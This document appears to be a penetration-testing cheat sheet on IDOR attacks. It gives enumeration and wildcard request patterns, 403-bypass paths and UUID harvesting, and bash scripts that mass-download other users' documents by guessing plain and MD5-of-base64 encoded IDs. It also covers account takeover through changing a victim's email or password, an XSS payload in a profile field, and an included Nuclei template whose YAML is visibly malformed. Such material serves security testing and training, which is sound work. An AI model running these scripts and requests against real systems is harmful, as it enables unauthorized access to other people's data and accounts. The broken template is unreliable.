IDOR

Detection

?uid=1 or ?filename=file_1.pdf

?filename=ZmlsZV8xMjMucGRm base64 for file_123.pdf

download.php?filename=c81e728d9d4c2f636f067f89cc14862c

$.ajax({
    url:"download.php",
    type: "post",
    dataType: "json",
    data: {filename: CryptoJS.MD5('file_1.pdf').toString()},
    success:function(result){
        //
    }
});

=> MD5 - See Cracking - Hashes to identify hash types

GET /deals?deal_id=[ID]

IDOR is NOT ONLY on id

If the serverโ€™s response includes sensitive identifiers like id, email, or phone_number in a structured format (e.g., JSON), these could be potential entry points for exploitation.

GET /example?id=124

GET /example?email=victim@example.com

GET /example?phone_number=0987654321
GET /api/resource/1
GET /user/account/find?user_id=15
POST /company/account/Microsoft/balance
POST /admin/pwreset/account/90

Try


GET /api/resource/3
GET /user/account/find?user_id=23
POST /company/account/Google/balance
POST /admin/pwreset/account/111

Double ID

  • Victim's ID: 5200

  • Attacker's ID: 5233

GET /api/users/5200/info โ†’ Access Denied  

GET /api/users/5200,5233/info โ†’ Bypassed

Wildcard

Send a wildcard (*, %, ., _) instead of an ID, some backend might respond with the data of all the users.

GET /api/users/* HTTP/1.1
GET /api/users/% HTTP/1.1
GET /api/users/_ HTTP/1.1
GET /api/users/. HTTP/1.1

Nuclei Template

Credit: @coffinxp7

https://raw.githubusercontent.com/coffinxp/priv8-Nuclei/refs/heads/main/idor-scan.yaml

id: idor-scan
info:
  name: IDOR Scan
  author: coffin
  severity: high
  description: Scan for potential IDOR vulnerabilities
  reference: https://example.com
  tags:
    - idor
    - scan
    - nuclei

flags:
  - severity: high

templates:
  - id: idor-endpoint-scan
    info:
      name: IDOR Endpoint Scan
      severity: high
      description: Scan for potential IDOR vulnerabilities in endpoints
      tags:
        - idor
        - endpoint
    requests:
      - method: GET
        path: "{{BaseURL}}"
        matchers-condition: and
        matchers:
          - type: word
            part: body
            words:
              - "id="
              - "uid="
              - "gid="
              - "user="
              - "account="
              - "number="
              - "order="
              - "no="
              - "doc="
              - "file="
              - "key="
              - "email="
              - "group="
              - "profile="
              - "edit="
              - "report="
    matchers:
      - type: word
        part: body
        words:
          - "id="
              - "uid="
              - "gid="
              - "user="
              - "account="
              - "number="
              - "order="
              - "no="
              - "doc="
              - "file="
              - "key="
              - "email="
              - "group="
              - "profile="
              - "edit="
              - "report="
    exclude:
      - "^http://"

    path-output: "{{BaseURL}}/{{FuzzID}}"
    ignore-conds:
      - match-case: false
        condition: false
    selectors:
      - type: regex
        scope: page
        regex: "(https:\\/\\/[^\\s]+)"
        group: 1
    retries: 2

Bypass 403

Bypass 403 / 401
/api/67898555007/users -> 403

/api//users
/api\\users

/api/v1/user/id -> 403

/api/vl/user/id.json
/api/vl/user/id?
/api/vl/user/id/
/api/v2/user/id
/api/vl/user/id&accountdetail
/api/v1/user/yourid&victimid

X-Original-Url: /api/v1/user/id
Send a wildcard (*, %, ., _) instead of an ID, some backend might respond with the data of all the users.

GET /api/users/* HTTP/1.1
GET /api/users/% HTTP/1.1
GET /api/users/_ HTTP/1.1
GET /api/users/. HTTP/1.1

Try plural form: users/* instead of user/*

UUID

Unpredictable UUID

Extract from Waybackmachine, virustotal, URLScan, etc.

Extract UUIDs from waybackurls

script.py

#!/usr/bin/env python3

import re
import sys

def uuid_grep():
    uuid_regex = re.compile(r'[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}')
    for line in sys.stdin:
        match = uuid_regex.search(line)
        if match:
            print(match.group(0))

if __name__ == "__main__":
    uuid_grep()
# Option 1
waybackurls hackerone.com | python3 script.py

# Option 2
cat waybackurls.txt | python3 script.py

UUID Version 1

Insecure UUID

Change the UUID value type

When testing the API field with UUID type, try to change the UUID value type to ID or even an Email

/api/user/a8ae-1322-ac09-8f90
/api/user/1
/api/user/user@company .com

Source: https://x.com/therceman/status/1929620937772560750

Mass IDOR Enumeration

/documents/Invoice_1_09_2021.pdf
/documents/Report_1_10_2021.pdf

Predictable name => fuzz

documents.php?uid=1 => fuzz uid to discover new docs

Mass Enumeration

curl -s "http://SERVER_IP:PORT/documents.php?uid=1" | grep "<li class='pure-tree_link'>"

<li class='pure-tree_link'><a href='/documents/Invoice_3_06_2020.pdf' target='_blank'>Invoice</a></li>
<li class='pure-tree_link'><a href='/documents/Report_3_01_2020.pdf' target='_blank'>Report</a></li>
curl -s "http://SERVER_IP:PORT/documents.php?uid=3" | grep -oP "\/documents.*?.pdf"

/documents/Invoice_3_06_2020.pdf
/documents/Report_3_01_2020.pdf

Automation - GET request

#!/bin/bash

url="http://SERVER_IP:PORT"

for i in {1..10}; do
        for link in $(curl -s "$url/documents.php?uid=$i" | grep -oP "\/documents.*?.pdf"); do
                wget -q $url/$link
        done
done

Automation - POST request

#!/bin/bash

# Loop through UIDs from 1 to 10
for ((uid=1; uid<=10; uid++)); do
    echo "UID $uid document links:"
    curl -s -X POST http://94.237.53.169:45464/documents.php --data "uid=$uid" | awk -F "href='/documents/" '{for(i=2; i<=NF; i++){print $i}}' | awk -F "'" '{print $1}'
    echo -e "\n"  # Add a newline for clarity between responses
done

Bypassing Encoded References

contract=cdd96d3cc73d1dbdaffa03cc6cd7339b
echo -n 1 | md5sum

c4ca4238a0b923820dcc509a6f75849b -

not match...

Function Disclosure

javascript:downloadContract('1')

function downloadContract(uid) {
    $.redirect("/download.php", {
        contract: CryptoJS.MD5(btoa(uid)).toString(),
    }, "POST", "_self");
}
echo -n 1 | base64 -w 0 | md5sum

cdd96d3cc73d1dbdaffa03cc6cd7339b -

match

Tip: We are using the -n flag with echo, and the -w 0 flag with base64, to avoid adding newlines, in order to be able to calculate the md5 hash of the same value, without hashing newlines, as that would change the final md5 hash.

Mass Enumeration

$ for i in {1..10}; do echo -n $i | base64 -w 0 | md5sum | tr -d ' -'; done

cdd96d3cc73d1dbdaffa03cc6cd7339b
0b7e7dee87b1c3b98e72131173dfbbbf
0b24df25fe628797b3a50ae0724d2730
f7947d50da7a043693a592b4db43b0a1
8b9af1f7f76daf0f02bd9c48c4a2e3d0
006d1236aee3f92b8322299796ba1989
b523ff8d1ced96cef9c86492e790c2fb
d477819d240e7d3dd9499ed8d23e7158
3e57e65a34ffcb2e93cb545d024f5bde
5d4aace023dc088767b4e08c79415dcd
#!/bin/bash

for i in {1..10}; do
    for hash in $(echo -n $i | base64 -w 0 | md5sum | tr -d ' -'); do
        curl -sOJ -X POST -d "contract=$hash" http://SERVER_IP:PORT/download.php
    done
done
$ bash ./exploit.sh
$ ls -1

contract_006d1236aee3f92b8322299796ba1989.pdf
contract_0b24df25fe628797b3a50ae0724d2730.pdf
contract_0b7e7dee87b1c3b98e72131173dfbbbf.pdf
contract_3e57e65a34ffcb2e93cb545d024f5bde.pdf
contract_5d4aace023dc088767b4e08c79415dcd.pdf
contract_8b9af1f7f76daf0f02bd9c48c4a2e3d0.pdf
contract_b523ff8d1ced96cef9c86492e790c2fb.pdf
contract_cdd96d3cc73d1dbdaffa03cc6cd7339b.pdf
contract_d477819d240e7d3dd9499ed8d23e7158.pdf
contract_f7947d50da7a043693a592b4db43b0a1.pdf

IDOR in Insecure APIs

PUT /profile/api.php/profile/1

{
    "uid": 1,
    "uuid": "40f5888b67c748df7efba008e7c2f9d2",
    "role": "employee",
    "full_name": "Amy Lindon",
    "email": "a_lindon@employees.htb",
    "about": "A Release is like a boat. 80% of the holes plugged is not good enough."
}

Try to change uid or role

Try HTTP verbs

Information Disclosure

Change id

Modifying Other Users' Details

Use id 2 and uuid diclosed to change user info via PUT request

One type of attack is modifying a user's email address and then requesting a password reset link, which will be sent to the email address we specified, thus allowing us to take control over their account. Another potential attack is placing an XSS payload in the 'about' field

Role in URL

DELETE /identity/api/v2/user/videos/778

Response: "This is an admin function try to access the admin API"

DELETE /identity/api/v2/admin/videos/778

Response: 200 OK

Parameter pollution

Depreciated API versions

JSON globbing

APIs that use static keywords

Second-order IDOR

Account Takeover

POST /changepassword.php HTTP/1.1
Host: site.com
...
userid=500&password=heked123

500 is an attacker ID and 501 is a victim ID, so we change the userid from attacker to victim ID

Tools

Interesting Books

Interesting Books

Disclaimer: As an Amazon Associate, I earn from qualifying purchases. This helps support this GitBook project at no extra cost to you.

Resources

Last updated